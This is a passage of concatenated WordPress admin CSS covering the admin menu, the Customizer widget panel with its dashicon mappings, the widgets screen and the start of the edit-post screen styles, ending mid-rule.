#adminmenu div.wp-menu-image{height:30px;width:34px;position:absolute;z-index:25}.auto-fold #adminmenu a.menu-top{min-height:34px}.auto-fold #adminmenu li.wp-menu-open{border:0 none}.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last{margin-bottom:0}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:16px}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}.auto-fold #adminmenu li.menu-top:hover,.auto-fold #adminmenu li.opensub>a.menu-top,.auto-fold #adminmenu li>a.menu-top:focus{z-index:10000}.auto-fold #collapse-menu .collapse-button-label{display:none}.auto-fold #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.auto-fold #collapse-button .collapse-button-icon:after{transform:none}}@media screen and (max-width:782px){.auto-fold #wpcontent{position:relative;margin-right:0;padding-right:10px}.sticky-menu #adminmenuwrap{position:relative;z-index:auto;top:0}.auto-fold #adminmenu,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{position:absolute;width:190px;z-index:100}.auto-fold #adminmenuback{position:fixed}.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{display:none}.auto-fold .wp-responsive-open #adminmenuback,.auto-fold .wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu li.menu-top{width:100%}.auto-fold #adminmenu li a{font-size:16px;padding:5px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding:10px 20px 10px 10px}.auto-fold #adminmenu .wp-menu-name{position:static}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li.current>a.current:after{border-width:8px;margin-top:-8px}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{display:none}#adminmenu .wp-submenu{position:relative;display:none}.auto-fold #adminmenu .selected .wp-submenu,.auto-fold #adminmenu .wp-menu-open .wp-submenu{position:relative;display:block;top:0;right:-1px;box-shadow:none}.auto-fold #adminmenu .selected .wp-submenu:after,.auto-fold #adminmenu .wp-menu-open .wp-submenu:after{display:none}.auto-fold #adminmenu .opensub .wp-submenu{display:none}.auto-fold #adminmenu .selected .wp-submenu{display:block}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:block}.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{position:relative;right:-1px;left:0;top:0}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{border-right:none}#adminmenu .wp-submenu .wp-submenu-head{display:none}#wp-responsive-toggle{position:fixed;top:5px;right:4px;padding-left:10px;z-index:99999;border:none;box-sizing:border-box}#wpadminbar #wp-admin-bar-menu-toggle a{display:block;padding:0;overflow:hidden;outline:0;text-decoration:none;border:1px solid transparent;background:0 0;height:44px;margin-right:-1px}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#2c3338}li#wp-admin-bar-menu-toggle{display:block}#wpadminbar #wp-admin-bar-menu-toggle a:hover{border:1px solid transparent}#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{content:"\f228";display:inline-block;float:right;font:normal 40px/45px dashicons;vertical-align:middle;outline:0;margin:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;height:44px;width:50px;padding:0;border:none;text-align:center;text-decoration:none;box-sizing:border-box}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#72aee6}}@media screen and (max-width:600px){#adminmenuback,#adminmenuwrap{display:none}.wp-responsive-open #adminmenuback,.wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu{top:46px}}/*! This file is auto-generated */
.wp-full-overlay-sidebar {
	overflow: visible;
}

/**
 * Hide all sidebar sections by default, only show them (via JS) once the
 * preview loads and we know whether the sidebars are used in the template.
 */

.control-section.control-section-sidebar,
.customize-control-sidebar_widgets label,
.customize-control-sidebar_widgets .hide-if-js {
	/* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */
	display: none;
}

.control-section.control-section-sidebar .accordion-section-content.ui-sortable {
	overflow: visible;
}

/* Note: widget-tops are more compact when (max-height: 700px) and (min-width: 981px). */
.customize-control-widget_form .widget-top {
	background: #fff;
	transition: opacity 0.5s;
}

.customize-control .widget-action {
	color: #787c82;
}

.customize-control .widget-top:hover .widget-action,
.customize-control .widget-action:focus {
	color: #1d2327;
}

.customize-control-widget_form:not(.widget-rendered) .widget-top {
	opacity: 0.5;
}

.customize-control-widget_form .widget-control-save {
	display: none;
}

.customize-control-widget_form .spinner {
	visibility: hidden;
	margin-top: 0;
}

.customize-control-widget_form.previewer-loading .spinner {
	visibility: visible;
}

.customize-control-widget_form.widget-form-disabled .widget-content {
	opacity: 0.7;
	pointer-events: none;
	-webkit-user-select: none;
	user-select: none;
}

.customize-control-widget_form .widget {
	margin-bottom: 0;
}

.customize-control-widget_form.wide-widget-control .widget-inside {
	position: fixed;
	right: 299px;
	top: 25%;
	border: 1px solid #dcdcde;
	overflow: auto;
}
.customize-control-widget_form.wide-widget-control .widget-inside > .form {
	padding: 20px;
}

.customize-control-widget_form.wide-widget-control .widget-top {
	transition: background-color 0.4s;
}
.customize-control-widget_form.wide-widget-control.expanding .widget-top,
.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top {
	background-color: #dcdcde;
}

.widget-inside {
	padding: 1px 10px 10px;
	border-top: none;
	line-height: 1.23076923;
}

.customize-control-widget_form.expanded .widget-action .toggle-indicator:before {
	content: "\f142";
}

.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before {
	content: "\f141";
}

.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before {
	content: "\f139";
}

.widget-title-action {
	cursor: pointer;
}

.widget-top,
.customize-control-widget_form .widget .customize-control-title {
	cursor: move;
}

.control-section.accordion-section.highlighted > .accordion-section-title,
.customize-control-widget_form.highlighted {
	outline: none;
	box-shadow: 0 0 2px rgba(79, 148, 212, 0.8);
	position: relative;
	z-index: 1;
}

#widget-customizer-control-templates {
	display: none;
}

/**
 * Widget reordering styles
 */

#customize-theme-controls .widget-reorder-nav {
	display: none;
	float: left;
	background-color: #f6f7f7;
}

.move-widget:before {
	content: "\f504";
}

#customize-theme-controls .move-widget-area {
	display: none;
	background: #fff;
	border: 1px solid #c3c4c7;
	border-top: none;
	cursor: auto;
}

#customize-theme-controls .reordering .move-widget-area.active {
	display: block;
}

#customize-theme-controls .move-widget-area .description {
	margin: 0;
	padding: 15px 20px;
	font-weight: 400;
}

#customize-theme-controls .widget-area-select {
	margin: 0;
	padding: 0;
	list-style: none;
}

#customize-theme-controls .widget-area-select li {
	position: relative;
	margin: 0;
	padding: 13px 42px 15px 15px;
	color: #50575e;
	border-top: 1px solid #c3c4c7;
	cursor: pointer;
	-webkit-user-select: none;
	user-select: none;
}

#customize-theme-controls .widget-area-select li:before {
	display: none;
	content: "\f147";
	position: absolute;
	top: 12px;
	right: 10px;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#customize-theme-controls .widget-area-select li:last-child {
	border-bottom: 1px solid #c3c4c7;
}

#customize-theme-controls .widget-area-select .selected {
	color: #fff;
	background: #2271b1;
}

#customize-theme-controls .widget-area-select .selected:before {
	display: block;
}

#customize-theme-controls .move-widget-actions {
	text-align: left;
	padding: 12px;
}

#customize-theme-controls .reordering .widget-title-action {
	display: none;
}

#customize-theme-controls .reordering .widget-reorder-nav {
	display: block;
}

/* Text Widget */
.wp-customizer div.mce-inline-toolbar-grp,
.wp-customizer div.mce-tooltip {
	z-index: 500100 !important;
}
.wp-customizer .ui-autocomplete.wplink-autocomplete {
	z-index: 500110; /* originally 100110, but z-index of .wp-full-overlay is 500000 */
}
.wp-customizer #wp-link-backdrop {
	z-index: 500100; /* originally 100100, but z-index of .wp-full-overlay is 500000 */
}
.wp-customizer #wp-link-wrap {
	z-index: 500105; /* originally 100105, but z-index of .wp-full-overlay is 500000 */
}

/**
 * Styles for new widget addition panel
 */

/* override widgets admin page rules in wp-admin/css/widgets.css */
#widgets-left #available-widgets .widget {
	float: none !important;
	width: auto !important;
}

/* Keep rule that is no longer necessary on widgets.php. */
#available-widgets .widget-action {
	display: none;
}

.ios #available-widgets {
	transition: right 0s;
}

#available-widgets .widget-tpl:hover,
#available-widgets .widget-tpl.selected {
	background: #f6f7f7;
	border-bottom-color: #c3c4c7;
	color: #2271b1;
	border-right: 4px solid #2271b1;
}

#customize-controls .widget-title h3 {
	font-size: 1em;
}

#available-widgets .widget-title h3 {
	padding: 0 0 5px;
	font-size: 14px;
}

#available-widgets .widget .widget-description {
	padding: 0;
	color: #646970;
}

#customize-preview {
	transition: all 0.2s;
}

body.adding-widget #available-widgets {
	right: 0;
	visibility: visible;
}

body.adding-widget .wp-full-overlay-main {
	right: 300px;
}

body.adding-widget #customize-preview {
	opacity: 0.4;
}


/**
 * Widget Icon styling
 * No plurals in naming.
 * Ordered from lowest to highest specificity.
 */

#available-widgets .widget-title {
	position: relative;
}

#available-widgets .widget-title:before {
	content: "\f132";
	position: absolute;
	top: -3px;
	left: 100%;
	margin-left: 20px;
	width: 20px;
	height: 20px;
	color: #2c3338;
	font: normal 20px/1 dashicons;
	text-align: center;
	box-sizing: border-box;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* dashicons-smiley */
#available-widgets [class*="easy"] .widget-title:before { content: "\f328"; top: -4px; }

/* dashicons-star-filled */
#available-widgets [class*="super"] .widget-title:before,
#available-widgets [class*="like"] .widget-title:before { content: "\f155"; top: -4px; }

/* dashicons-wordpress */
#available-widgets [class*="meta"] .widget-title:before { content: "\f120"; }

/* dashicons-archive */
#available-widgets [class*="archives"] .widget-title:before { content: "\f480"; top: -4px; }

/* dashicons-category */
#available-widgets [class*="categor"] .widget-title:before { content: "\f318"; top: -4px; }

/* dashicons-admin-comments */
#available-widgets [class*="comment"] .widget-title:before,
#available-widgets [class*="testimonial"] .widget-title:before,
#available-widgets [class*="chat"] .widget-title:before { content: "\f101"; }

/* dashicons-admin-post */
#available-widgets [class*="post"] .widget-title:before { content: "\f109"; }

/* dashicons-admin-page */
#available-widgets [class*="page"] .widget-title:before { content: "\f105"; }

/* dashicons-text */
#available-widgets [class*="text"] .widget-title:before { content: "\f478"; }

/* dashicons-admin-links */
#available-widgets [class*="link"] .widget-title:before { content: "\f103"; }

/* dashicons-search */
#available-widgets [class*="search"] .widget-title:before { content: "\f179"; }

/* dashicons-menu */
#available-widgets [class*="menu"] .widget-title:before,
#available-widgets [class*="nav"] .widget-title:before { content: "\f333"; }

/* dashicons-tagcloud */
#available-widgets [class*="tag"] .widget-title:before { content: "\f479"; }

/* dashicons-rss */
#available-widgets [class*="rss"] .widget-title:before { content: "\f303"; top: -6px; }

/* dashicons-calendar */
#available-widgets [class*="event"] .widget-title:before,
#available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; top: -4px;}

/* dashicons-format-image */
#available-widgets [class*="image"] .widget-title:before,
#available-widgets [class*="photo"] .widget-title:before,
#available-widgets [class*="slide"] .widget-title:before,
#available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; }

/* dashicons-format-gallery */
#available-widgets [class*="album"] .widget-title:before,
#available-widgets [class*="galler"] .widget-title:before { content: "\f161"; }

/* dashicons-format-video */
#available-widgets [class*="video"] .widget-title:before,
#available-widgets [class*="tube"] .widget-title:before { content: "\f126"; }

/* dashicons-format-audio */
#available-widgets [class*="music"] .widget-title:before,
#available-widgets [class*="radio"] .widget-title:before,
#available-widgets [class*="audio"] .widget-title:before { content: "\f127"; }

/* dashicons-admin-users */
#available-widgets [class*="login"] .widget-title:before,
#available-widgets [class*="user"] .widget-title:before,
#available-widgets [class*="member"] .widget-title:before,
#available-widgets [class*="avatar"] .widget-title:before,
#available-widgets [class*="subscriber"] .widget-title:before,
#available-widgets [class*="profile"] .widget-title:before,
#available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; }

/* dashicons-cart */
#available-widgets [class*="commerce"] .widget-title:before,
#available-widgets [class*="shop"] .widget-title:before,
#available-widgets [class*="cart"] .widget-title:before { content: "\f174"; top: -4px; }

/* dashicons-shield */
#available-widgets [class*="secur"] .widget-title:before,
#available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; }

/* dashicons-chart-bar */
#available-widgets [class*="analytic"] .widget-title:before,
#available-widgets [class*="stat"] .widget-title:before,
#available-widgets [class*="poll"] .widget-title:before { content: "\f185"; }

/* dashicons-feedback */
#available-widgets [class*="form"] .widget-title:before { content: "\f175"; }

/* dashicons-email-alt */
#available-widgets [class*="subscribe"] .widget-title:before,
#available-widgets [class*="news"] .widget-title:before,
#available-widgets [class*="contact"] .widget-title:before,
#available-widgets [class*="mail"] .widget-title:before { content: "\f466"; }

/* dashicons-share */
#available-widgets [class*="share"] .widget-title:before,
#available-widgets [class*="socia"] .widget-title:before { content: "\f237"; }

/* dashicons-translation */
#available-widgets [class*="lang"] .widget-title:before,
#available-widgets [class*="translat"] .widget-title:before { content: "\f326"; }

/* dashicons-location-alt */
#available-widgets [class*="locat"] .widget-title:before,
#available-widgets [class*="map"] .widget-title:before { content: "\f231"; }

/* dashicons-download */
#available-widgets [class*="download"] .widget-title:before { content: "\f316"; }

/* dashicons-cloud */
#available-widgets [class*="weather"] .widget-title:before { content: "\f176"; top: -4px;}

/* dashicons-facebook */
#available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; }

/* dashicons-twitter */
#available-widgets [class*="tweet"] .widget-title:before,
#available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; }

@media screen and (max-height: 700px) and (min-width: 981px) {
	/* Compact widget-tops on smaller laptops, but not tablets. See ticket #27112#comment:4 */
	.customize-control-widget_form {
		margin-bottom: 0;
	}

	.widget-top {
		box-shadow: none;
		margin-top: -1px;
	}

	.widget-top:hover {
		position: relative;
		z-index: 1;
	}

	.last-widget {
		margin-bottom: 15px;
	}

	.widget-title h3 {
		padding: 13px 15px;
	}

	.widget-top .widget-action {
		padding: 8px 10px;
	}

	.widget-reorder-nav span {
		height: 39px;
	}

	.widget-reorder-nav span:before {
		line-height: 39px;
	}

	/* Compact the move widget areas. */
	#customize-theme-controls .widget-area-select li {
		padding: 9px 42px 11px 15px;
	}

	#customize-theme-controls .widget-area-select li:before {
		top: 8px;
	}
}
/*! This file is auto-generated */
.widget{margin:0 auto 10px;position:relative;box-sizing:border-box}.widget.open{z-index:99}.widget.open:focus-within{z-index:100}.widget-top{font-size:13px;font-weight:600;background:#f6f7f7}.widget-top .widget-action{border:0;margin:0;padding:10px;background:0 0;cursor:pointer}.widget-title h3,.widget-title h4{margin:0;padding:15px;font-size:1em;line-height:1;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-user-select:none;user-select:none}.widgets-holder-wrap .widget-inside{border-top:none;padding:1px 15px 15px;line-height:1.23076923}.widget.widget-dirty .widget-control-close-wrapper{display:none}#available-widgets .widget-description,#widgets-right a.widget-control-edit,.in-widget-title{color:#646970}.deleting .widget-title,.deleting .widget-top .widget-action .toggle-indicator:before{color:#a7aaad}.wp-core-ui .media-widget-control .selected,.wp-core-ui .media-widget-control.selected .not-selected,.wp-core-ui .media-widget-control.selected .placeholder{display:none}.media-widget-control.selected .selected{display:inline-block}.media-widget-buttons{text-align:left;margin-top:0}.media-widget-control .media-widget-buttons .button{width:auto;height:auto;margin-top:12px;white-space:normal}.media-widget-buttons .button:first-child{margin-right:8px}.media-widget-control .attachment-media-view .button-add-media,.media-widget-control .placeholder{border:1px dashed #c3c4c7;box-sizing:border-box;cursor:pointer;line-height:1.6;padding:9px 0;position:relative;text-align:center;width:100%}.media-widget-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.media-widget-control .attachment-media-view .button-add-media:hover{background-color:#fff}.media-widget-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-style:solid;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent;outline-offset:-2px}.media-widget-control .media-widget-preview{background:0 0;text-align:center}.media-widget-control .media-widget-preview .notice{text-align:initial}.media-frame .media-widget-embed-notice p code,.media-widget-control .notice p code{padding:0 3px 0 0}.media-frame .media-widget-embed-notice{margin-top:16px}.media-widget-control .media-widget-preview img{max-width:100%;vertical-align:middle;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.media-widget-control .media-widget-preview .wp-video-shortcode{background:#000}.media-frame.media-widget .media-toolbar-secondary{min-width:300px}.media-frame.media-widget .attachment-display-settings .setting.align,.media-frame.media-widget .checkbox-setting.autoplay,.media-frame.media-widget .embed-link-settings .setting.link-text,.media-frame.media-widget .embed-media-settings .legend-inline,.media-frame.media-widget .embed-media-settings .setting.align,.media-frame.media-widget .image-details .embed-media-settings .setting.align,.media-frame.media-widget .replace-attachment{display:none}.media-widget-video-preview{width:100%}.media-widget-video-link{display:inline-block;min-height:132px;width:100%;background:#000}.media-widget-video-link .dashicons{font:normal 60px/1 dashicons;position:relative;width:100%;top:-90px;color:#fff;text-decoration:none}.media-widget-video-link.no-poster .dashicons{top:30px}.media-frame #embed-url-field.invalid,.media-widget-image-link>.link:invalid{border:1px solid #d63638}.media-widget-image-link{margin:1em 0}.media-widget-gallery-preview{display:flex;justify-content:flex-start;flex-wrap:wrap;margin:-1.79104477%}.media-widget-preview.media_gallery,.media-widget-preview.media_image{cursor:pointer}.media-widget-preview .placeholder{background:#f0f0f1}.media-widget-gallery-preview .gallery-item{box-sizing:border-box;width:50%;margin:0;background:0 0}.media-widget-gallery-preview .gallery-item .gallery-icon{margin:4.5%}.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),.media-widget-gallery-preview .gallery-item:nth-last-child(n+5)~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),.media-widget-gallery-preview .gallery-item:nth-last-child(n+6)~.gallery-item{max-width:33.33%}.media-widget-gallery-preview .gallery-item img{height:auto;vertical-align:bottom}.media-widget-gallery-preview .gallery-icon{position:relative}.media-widget-gallery-preview .gallery-icon-placeholder{position:absolute;top:0;bottom:0;width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,.5)}.media-widget-gallery-preview .gallery-icon-placeholder-text{font-weight:600;font-size:2em;color:#fff}.widget.ui-draggable-dragging{min-width:100%}.widget.ui-sortable-helper{opacity:.8}.widget-placeholder{border:1px dashed #c3c4c7;margin:0 auto 10px;height:45px;width:100%;box-sizing:border-box}#widgets-right .widget-placeholder{margin-top:0}#widgets-right .closed .widget-placeholder{height:0;border:0;margin-top:-10px}.sidebar-name{position:relative;box-sizing:border-box}.js .sidebar-name{cursor:pointer}.sidebar-name .handlediv{float:right;width:38px;height:38px;border:0;margin:0;padding:8px;background:0 0;cursor:pointer;outline:0}#widgets-right .sidebar-name .handlediv{margin:5px 3px 0 0}.sidebar-name .handlediv:focus{box-shadow:none;outline:1px solid transparent}#widgets-left .sidebar-name .toggle-indicator{display:none}#widgets-left .sidebar-name .handlediv:focus .toggle-indicator,#widgets-left .sidebar-name:hover .toggle-indicator,#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator{display:block}.sidebar-name .toggle-indicator:before{padding:1px 2px 1px 0;border-radius:50%}.sidebar-name .handlediv:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.sidebar-name h2,.sidebar-name h3{margin:0;padding:8px 10px;overflow:hidden;white-space:normal;line-height:1.5}.widgets-holder-wrap .description{padding:0 0 15px;margin:0;font-style:normal;color:#646970}.inactive-sidebar .description,.widget-holder .description{color:#50575e}#widgets-right .widgets-holder-wrap .description{padding-left:7px;padding-right:7px}div.widget-liquid-left{margin:0;width:38%;float:left}div.widget-liquid-right{float:right;width:58%}div#widgets-left{padding-top:12px}div#widgets-left .closed .sidebar-name,div#widgets-left .inactive-sidebar.closed .sidebar-name{margin-bottom:10px}div#widgets-left .sidebar-name h2,div#widgets-left .sidebar-name h3{padding:10px 0;margin:0 10px 0 0}#widgets-left .widgets-holder-wrap,div#widgets-left .widget-holder{background:0 0;border:none}#widgets-left .widgets-holder-wrap{border:none;box-shadow:none}#available-widgets .widget{margin:0}#available-widgets .widget:nth-child(odd){clear:both}#available-widgets .widget .widget-description{display:block;padding:10px 15px;font-size:12px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;-webkit-hyphens:auto;hyphens:auto}#available-widgets #widget-list{position:relative}#widgets-left .inactive-sidebar{clear:both;width:100%;background:0 0;padding:0;margin:0 0 20px;border:none;box-shadow:none}#widgets-left .inactive-sidebar.first{margin-top:40px}div#widgets-left .inactive-sidebar .widget.expanded{left:auto}.widget-title-action{float:right;position:relative}div#widgets-left .inactive-sidebar .widgets-sortables{min-height:42px;padding:0;background:0 0;margin:0;position:relative}div#widgets-right .sidebars-column-1,div#widgets-right .sidebars-column-2{max-width:450px}div#widgets-right .widgets-holder-wrap{margin:10px 0 0}div#widgets-right .sidebar-description{min-height:20px;margin-top:-5px}div#widgets-right .sidebar-name h2,div#widgets-right .sidebar-name h3{padding:15px 15px 15px 7px}div#widgets-right .widget-top{padding:0}div#widgets-right .widgets-sortables{padding:0 8px;margin-bottom:9px;position:relative;min-height:123px}div#widgets-right .closed .widgets-sortables{min-height:0;margin-bottom:0}.remove-inactive-widgets .spinner,.sidebar-name .spinner{float:none;position:relative;top:-2px;margin:-5px 5px}.sidebar-name .spinner{position:absolute;top:18px;right:30px}#widgets-right .widgets-holder-wrap.widget-hover{border-color:#787c82;box-shadow:0 1px 2px rgba(0,0,0,.3)}.widget-access-link{float:right;margin:-5px 0 10px 10px}.widgets_access #widgets-left .widget .widget-top{cursor:auto}.widgets_access #wpwrap .widget-control-edit,.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,.widgets_access #wpwrap .widgets-holder-wrap.closed .widget{display:block}.widgets_access #widgets-left .widget .widget-top:hover,.widgets_access #widgets-right .widget .widget-top:hover{border-color:#dcdcde}#available-widgets .widget-action .edit,#available-widgets .widget-control-edit .edit,#widgets-left .inactive-sidebar .widget-action .add,#widgets-left .inactive-sidebar .widget-control-edit .add,#widgets-right .widget-action .add,#widgets-right .widget-control-edit .add{display:none}.widget-control-edit{display:block;color:#646970;background:#f0f0f1;padding:0 15px;line-height:3.30769230;border-left:1px solid #dcdcde}#widgets-left .widget-control-edit:hover,#widgets-right .widget-control-edit:hover{color:#fff;background:#3c434a;border-left:0;outline:1px solid #3c434a}.widgets-holder-wrap .sidebar-description,.widgets-holder-wrap .sidebar-name{-webkit-user-select:none;user-select:none}.editwidget{margin:0 auto}.editwidget .widget-inside{display:block;padding:0 15px}.editwidget .widget-control-actions{margin-top:20px}.js .closed br.clear,.js .widgets-holder-wrap.closed .description,.js .widgets-holder-wrap.closed .remove-inactive-widgets,.js .widgets-holder-wrap.closed .sidebar-description,.js .widgets-holder-wrap.closed .widget{display:none}.js .widgets-holder-wrap.closed .widget.ui-sortable-helper{display:block}.widget-description,.widget-inside{display:none}.widget-inside{background:#fff}.widget-inside select{max-width:100%}#removing-widget{display:none;font-weight:400;padding-left:15px;font-size:12px;line-height:1;color:#000}.js #removing-widget{color:#72aee6}#access-off,.no-js .widget-holder .description,.widget-control-noform,.widgets_access #access-on,.widgets_access .handlediv,.widgets_access .widget-action,.widgets_access .widget-holder .description{display:none}.widgets_access #widget-list,.widgets_access .widget-holder{padding-top:10px}.widgets_access #access-off{display:inline}.widgets_access .sidebar-name,.widgets_access .widget .widget-top{cursor:default}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{transition:opacity .1s linear}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{opacity:.2;pointer-events:none}.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question{opacity:1;pointer-events:auto}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.widgets-chooser ul.widgets-chooser-sidebars{margin:0;list-style-type:none;max-height:300px;overflow:auto}.widgets-chooser{display:none}.widgets-chooser ul{border:1px solid #c3c4c7}.widgets-chooser li{border-bottom:1px solid #c3c4c7;background:#fff;margin:0;position:relative}.widgets-chooser .widgets-chooser-button{width:100%;padding:10px 15px 10px 35px;background:0 0;border:0;box-sizing:border-box;text-align:left;cursor:pointer;transition:background .2s ease-in-out}.widgets-chooser .widgets-chooser-button:focus,.widgets-chooser .widgets-chooser-button:hover{outline:0;text-decoration:underline}.widgets-chooser li:last-child{border:none}.widgets-chooser .widgets-chooser-selected .widgets-chooser-button{background:#2271b1;color:#fff}.widgets-chooser .widgets-chooser-selected:before{content:"\f147";display:block;-webkit-font-smoothing:antialiased;font:normal 26px/1 dashicons;color:#fff;position:absolute;top:7px;left:5px}.widgets-chooser .widgets-chooser-actions{padding:10px 0 12px;text-align:center}#available-widgets .widget .widget-top{cursor:pointer}#available-widgets .widget.ui-draggable-dragging .widget-top{cursor:move}.text-widget-fields{position:relative}.text-widget-fields [hidden]{display:none}.text-widget-fields .wp-pointer.wp-pointer-top{position:absolute;z-index:3;top:100px;right:10px;left:10px}.text-widget-fields .wp-pointer .wp-pointer-arrow{left:auto;right:15px}.text-widget-fields .wp-pointer .wp-pointer-buttons{line-height:1.4}.custom-html-widget-fields>p>.CodeMirror{border:1px solid #dcdcde}.custom-html-widget-fields code{padding-top:1px;padding-bottom:1px}ul.CodeMirror-hints{z-index:101}.widget-control-actions .custom-html-widget-save-button.button.validation-blocked{cursor:not-allowed}@media screen and (max-width:782px){.editwidget .widget-inside input[type=checkbox],.editwidget .widget-inside input[type=radio],.widgets-holder-wrap .widget-inside input[type=checkbox],.widgets-holder-wrap .widget-inside input[type=radio]{margin:.25rem .25rem .25rem 0}}@media screen and (max-width:480px){div.widget-liquid-left{width:100%;float:none;border-right:none;padding-right:0}#widgets-left .sidebar-name{margin-right:0}#widgets-left #available-widgets .widget-top{margin-right:0}#widgets-left .inactive-sidebar .widgets-sortables{margin-right:0}div.widget-liquid-right{width:100%;float:none}div.widget{max-width:480px}.widget-access-link{float:none;margin:15px 0 0}}@media screen and (max-width:320px){div.widget{max-width:320px}}@media only screen and (min-width:1250px){#widgets-left #available-widgets .widget{width:49%;float:left}.widget.ui-draggable-dragging{min-width:49%}#widgets-left #available-widgets .widget:nth-child(2n){float:right}#widgets-right .sidebars-column-1,#widgets-right .sidebars-column-2{float:left;width:49%}#widgets-right .sidebars-column-1{margin-right:2%}#widgets-right.single-sidebar .sidebars-column-1,#widgets-right.single-sidebar .sidebars-column-2{float:none;width:100%;margin:0}}/*! This file is auto-generated */
#poststuff {
	padding-top: 10px;
	min-width: 763px;
}

#poststuff #post-body {
	padding: 0;
}

#poststuff .postbox-container {
	width: 100%;
}

#poststuff #post-body.columns-2 {
	margin-left: 300px;
}

/*------------------------------------------------------------------------------
  11.0 - Write/Edit Post Screen
------------------------------------------------------------------------------*/

#show-comments {
	overflow: hidden;
}

#save-action .spinner,
#show-comments a {
	float: right;
}

#show-comments .spinner {
	float: none;
	margin-top: 0;
}

#lost-connection-notice .spinner {
	visibility: visible;
	float: right;
	margin: 0 0 0 5px;
}

#titlediv {
	position: relative;
}

#titlediv label {
	cursor: text;
}

#titlediv div.inside {
	margin: 0;
}

#poststuff #titlewrap {
	border: 0;
	padding: 0;
}

#titlediv #title {
	padding: 3px 8px;
	font-size: 1.7em;
	line-height: 100%;
	height: 1.7em;
	width: 100%;
	outline: none;
	margin: 0 0 3px;
	background-color: #fff;
}

#titlediv #title-prompt-text {
	color: #646970;
	position: absolute;
	font-size: 1.7em;
	padding: 10px;
	pointer-events: none;
}

input#link_description,
input#link_url {
	width: 100%;
}

#pending {
	background: 100% none;
	border: 0 none;
	padding: 0;
	font-size: 11px;
	margin-top: -1px;
}

#edit-slug-box,
#comment-link-box {
	line-height: 1.84615384;
	min-height: 25px;
	margin-top: 5px;
	padding: 0 10px;
	color: #646970;
}

#sample-permalink {
	display: inline-block;
	max-width: 100%;
	word-wrap: break-word;
}

#edit-slug-box .cancel {
	margin-left: 10px;
	padding: 0;
	font-size: 11px;
}

#comment-link-box {
	margin: 5px 0;
	padding: 0 5px;
}

#editable-post-name-full {
	display: none;
}

#editable-post-name {
	font-weight: 600;
}

#editable-post-name input {
	font-size: 13px;
	font-weight: 400;
	height: 24px;
	margin: 0;
	width: 16em;
}

.postarea h3 label {
	float: right;
}

body.post-new-php .submitbox .submitdelete {
	display: none;
}

.submitbox .submit a:hover {
	text-decoration: underline;
}

.submitbox .submit input {
	margin-bottom: 8px;
